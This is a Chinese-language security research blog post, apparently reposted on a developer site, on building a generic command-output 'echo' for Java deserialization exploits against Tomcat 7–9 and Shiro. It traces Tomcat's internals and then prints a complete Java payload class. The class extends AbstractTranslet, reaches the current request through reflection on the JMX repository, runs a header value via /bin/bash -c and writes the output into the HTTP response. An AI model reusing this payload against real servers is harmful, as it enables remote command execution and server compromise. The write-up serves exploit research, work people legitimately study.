内容简介:最近两个月都在写通用的Java漏洞利用框架没怎么跟进最新的技术文章,现在项目终于到了一个较为稳定的阶段终于有时间可以学习一下这两个月中的技术文章了。给我印象比较深刻的是在寻找解决方案前来思考一下具体的需求是什么,我个人的需求如下:以中间件为依托完成回显功能的优势是:
最近两个月都在写通用的 Java 漏洞利用框架没怎么跟进最新的技术文章,现在项目终于到了一个较为稳定的阶段终于有时间可以学习一下这两个月中的技术文章了。给我印象比较深刻的是 LandGrey
、 李三
、 kingkk
、 Litch1
、 threedr3am
几位师傅对于Tomcat通用回显方式的总结。最开始我没看几位师傅的文章自己调了一下,找到了 Litch1
、和 李三
师傅的回显思路,本篇主要用于记录个人的调试学习过程。
0x01 思考
在寻找解决方案前来思考一下具体的需求是什么,我个人的需求如下:
Shiro
以中间件为依托完成回显功能的优势是:
- 跨平台通用
- 原生支持性好,不会出现连接中断的现象
综上,可以看到我们需要一种在Tomcat Filter处理逻辑之前就将执行结果写入返回包的回显方式。
简单的写一个 servlet
,看一下Tomcat的调用栈。这里我调试的Tomcat版本为 8.5.47
,不同的Tomcat版本处理逻辑相同,但是其中的部分数据结构有所改变。
为了保证类似 Shiro
这里 Filter
应用也可以完成回显,就需要在Tomcat执行该 Filter
之前将执行结果写入 response
中。所以核心的切入点就是跟踪 Http11Processor
的前后处理逻辑,尝试获取本次请求,并将结果写入返回包中。
0x02 寻找利用链
寻找利用链主要分为两步,获取本次请求、获取返回包。
2.1 获取返回包
首先查看 Http11Processor
处的逻辑:
主要是调用对应的适配器,并将 request
和 response
作为参数传入 service()
方法中。通过这一部分代码可以得出两点结论:
-
request
和response
对象是在此之前就完成初始化的。 - 此处使用了适配器模式,证明有多个
Processor
的执行逻辑是相同的。同时适配器的初始化也是在此前完成的,而适配器的初始化过程中必定存在将本次连接内容保存下来的属性。
向上跟踪一下 request
和 response
对象,发现是在 AbstractProcessor
抽象类的一个属性,且在构造函数中完成初始化:
而 Http11Processor
继承于 AbstractProcessor
,具体的继承树为:
在 Http11Processor
的构造方法中调用了父类的构造方法,完成 request
和 response
对象的初始化:
ok,目前我们已经知道 request
和 response
对象在什么地方完成的初始化,同时也知道了 request
对象中包含 response
对象,也就是说我们后面只需要关心如何获取 request
对象即可。接下来看一下是否有相关的方法可以调用到 request
这个 protected
对象:
在 AbstractProcessor
抽象类中提供了 getRequest()
方法来获取 request
对象,同时在 Request
类中也存在相应的方法获取到 Response
对象:
如果想要将执行结果写入返回包的包体中,调用 Response.doWrite()
方法即可,如果想要写到返回包包头中,调用 Response.setHeader()
方法即可。
总结一下,目前我们找了获取返回包并写入内容的调用链:
Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
2.2 获取Processor对象
在2.1中我们已经完成了回显的后半部分即获取 Response
,并将内容写入的部分,但是如果想要利用这个调用链,我们就必须继续向上跟踪,找到符合本次请求的 Http11Processor
对象。
想要寻找本次请求的 Http11Processor
对象,就需要从 Processor
对象的初始化看起,具体的初始化代码在 ConnectionHandler#process
中:
connnections
对象是 ConnectionHandler
中定义的一个Map,用于存放 socket-processor
对象。在这段代码中可以清楚的看到,首次访问时 connections
中并不存在 processor
,所以会触发 Processor
的初始化流程及注册操作。跟进 register()
方法,查看Tomcat是如何完成 Processor
注册的。
这段代码有个非常有意思的地方,我们可以注意到 register()
方法的关键就是将 RequestInfo
进行注册,但是在注册前会调用 rp.setGlobalProcessor(global);
我们来具体看一下 global
是什么:
可以看到 RequestGroupInfo
类中存在 RequestInfo
的一个列表,在 RequestInfo
的 setGlobalProcessor()
方法中又将 RequestInfo
对象本身注册到 RequestGroupInfo
中:
所以 global
中所保存的内容和后面调用 Registry.registerComponent()
方法相同。也就是说有两种思路获取 Processor
对象:
- 寻找获取
global
的方法 - 跟踪
Registry.registerComponent()
流程,查看具体的RequestInfo
对象被注册到什么地方了
两种方法对应了 Litch1
和 李三
师傅的两种获取方式。
2.2.1 获取 global
想要获取 global
就需要获取到 AbstractProtocol
, AbstractProtocol
实现了 ProtocolHandler
,也就是说只要能找到获取 ProtocolHandler
实现类的方法就可以调用 AbstractProtocol
的 ConnectionHandler
静态类。依赖树如下:
所以调用链就变成了:
AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
到此为止我们已经找到大半部分的调用链了,那如何找到获取 ProtocolHandler
的方法呢?这需要向下看,看具体调用时是如何触发的。Tomcat使用了 Coyote
框架来封装底层的socket连接数据,在 Coyote
框架中包含了核心类 ProtocolHandler
,主要用于接收 socket
对象,再交给对应协议的 Processor
类,最后由 Processor
类交给实现了 Adapter
接口的容器。
在调用栈中也可以看出这一流程:
这里直接跟进一下 CoyoteAdapter#service
:
这里主要负责将 org.apache.coyote.Request
和 org.apache.coyote.Response
转换为 org.apache.catalina.connector.Request
和 org.apache.catalina.connector.Response
,如果还未注册为notes,则调用 connector
的 createRequest()
和 createResponse()
方法创建对应的 Request
和 Response
对象。
而关键的调用为:
可以简单的理解一下: CoyoteAdapter
通过 connector
对象来完成后续流程的,也就是说在 connector
对象中保存着和本次请求有关的所有信息,较为准确的说法是在Tomcat初始化 StandardService
时,会启动 Container
、 Executor
、 mapperListener
及所有的 Connector
。其中 Executor
负责为 Connector
处理请求提供共用的线程池, mapperListener
负责将请求映射到对应的容器中, Connector
负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在 Connector
对象中,从上面的代码中也可以看出一些端倪。所以直接看一下 Connection
类:
其中有public方法 getProtocolHandler()
可以直接获得 ProtocolHandler
。所以调用链就变成了:
Connector#getProtocolHandler() -> AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
就如上文所说, Connector
是在Tomcat初始化 StandardService
时完成初始化的,初始化的具体代码在 org.apache.catalina.core.StandardService#initInternal
:
而在初始化 StandardService
之前就已经调用 org.apache.catalina.startup.Tomcat#setConnector
完成 Connector
设置了:
所以再次梳理一下调用链:
StandardService -> Connector#getProtocolHandler() -> AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
最终的问题就是如何获得 StandardService
了,这里可以利用打破双亲委派的思路,这一点在我写Java攻击框架时用过,就是利用 Thread.getCurrentThread().getContextClassLoader()
来获取当前线程的 ClassLoader
,从 resources
当中寻找即可。
具体的利用代码这里就不再赘述了,可以直接看 Litch1师傅分享出的代码 。
2.2.2 从Registry中获取
其实回顾一下2.2.1中所提到的内容,无非是从 Connector
入手拿到 ProtocolHandler
。其实再仔细看一下 Connector
类的依赖树就可以发现其实所有的参数并非是单独存放在这些类中的一个属性中的,而是都被注册到了 MBeanServer
中的:
所以其实更加通用的方式就是直接通过 MBeanServer
来获得这个参数。
我们在2.2中看到了 ConnectionHandler
是用 Registry.getRegistry(null, null).registerComponent(rp,rpName, null);
将 RequestInfo
注册到 MBeanServer
中的,那么我们跟进看一下 Registry
类中有什么方法可以供我们获得 MBeanServer
,只要拿到了 MBeanServer
,就可以从其中拿到被注册的 RequestInfo
对象了。
Registry
类中提供了 getMBeanServer()
方法用于获得(或创建) MBeanServer
。在 JmxMBeanServer
中,其 mbsInterceptor
对象存放着对应的 MBeanServer
实例,这个 mbsInterceptor
对象经过动态调试就是 com.sun.jmx.interceptor.DefaultMBeanServerInterceptor
。在 DefaultMBeanServerInterceptor
存在一个 Repository
属性由于将注册的MBean进行保存,我们这里可以直接使用 com.sun.jmx.mbeanserver.Repository#query
方法来筛选出所有注册名(其实就是具体的每次请求)包含 http-nio-*
(*为具体的tomcat端口号)的 BaseModelMBean
对象:
这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。其中 object.resource.processors
中就保存着请求的 RequestInfo
对象,至此就可以通过 RequestInfo
对象的 req
属性来得到请求的 Response
对象,完成回显。
总结一下调用链:
Registry.getRegistry(null, null).getMBeanServer() -> JmxMBeanServer.mbsInterceptor -> DefaultMBeanServerInterceptor.repository -> Registory#query -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
0x03 利用
具体的调用逻辑在2.2.1和2.2.2中都有总结,总体来说就是用反射一点点完成构造,这里我只罗列2.2.2中的方法,因为2.2.2的方法更为通用,可以经测试在Tomcat7、8、9中都可以使用。需要注意有以下几点:
- Tomcat7及低版本Tomcat8(具体版本没有测试,实验用版本为8.5.9)中,在最终将结果写入Response时需要使用
ByteChunk
而非ByteBuffer
- Tomcat9及高版本Tomcat8(试验用版本为8.5.47)只能使用
ByteBuffer
最终的利用代码如下:
package com.lucifaer.tomcatEcho; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.coyote.Request; import org.apache.tomcat.util.modeler.Registry; import javax.management.MBeanServer; import javax.management.ObjectName; import java.io.InputStream; import java.lang.reflect.Field; import java.nio.ByteBuffer; import java.util.*; /** * @author Lucifaer * @version 4.1 */ public class Tomcat8 extends AbstractTranslet { public Tomcat8() { try { MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(mBeanServer); field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Repository repository = (Repository) field.get(mbsInterceptor); Set<NamedObject> set = repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null); Iterator<NamedObject> it = set.iterator(); while (it.hasNext()) { NamedObject namedObject = it.next(); field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("name"); field.setAccessible(true); ObjectName flag = (ObjectName) field.get(namedObject); String canonicalName = flag.getCanonicalName(); field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); Object obj = field.get(namedObject); field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); Object resource = field.get(obj); field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); field.setAccessible(true); ArrayList processors = (ArrayList) field.get(resource); field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); field.setAccessible(true); for (int i=0; i < processors.size(); i++) { Request request = (Request) field.get(processors.get(i)); String header = request.getHeader("lucifaer"); System.out.println("cmds is:" + header); System.out.println(header == null); if (header != null && !header.equals("")) { String[] cmds = new String[] {"/bin/bash", "-c", header}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String out = ""; while (s.hasNext()) { out += s.next(); } byte[] buf = out.getBytes(); if (canonicalName.contains("nio")) { ByteBuffer byteBuffer = ByteBuffer.wrap(buf); // request.getResponse().setHeader("echo", out); request.getResponse().doWrite(byteBuffer); request.getResponse().getBytesWritten(true); } else if (canonicalName.contains("bio")) { //tomcat 7使用需要使用ByteChunk来将byte写入 // ByteChunk byteChunk = new ByteChunk(); // byteChunk.setBytes(buf, 0, buf.length); // request.getResponse().doWrite(byteChunk); // request.getResponse().getBytesWritten(true); } } } } }catch (Throwable throwable) { throwable.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
具体如何将其加入Ysoserial,可以参考 李三
师傅的方式 。
利用效果如下:
测试普通JSP
测试shiro
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
人月神话(英文版)
[美] Frederick P. Brooks, Jr. / 人民邮电出版社 / 2010-8 / 29.00元
本书内容源于作者Brooks在IBM公司任System/360计算机系列以及其庞大的软件系统OS/360项目经理时的实践经验。在本书中,Brooks为人们管理复杂项目提供了最具洞察力的见解,既有很多发人深省的观点,又有大量软件工程的实践,为每个复杂项目的管理者给出了自己的真知灼见。 大型编程项目深受由于人力划分产生的管理问题的困扰,保持产品本身的概念完整性是一个至关重要的需求。本书探索了达成......一起来看看 《人月神话(英文版)》 这本书的介绍吧!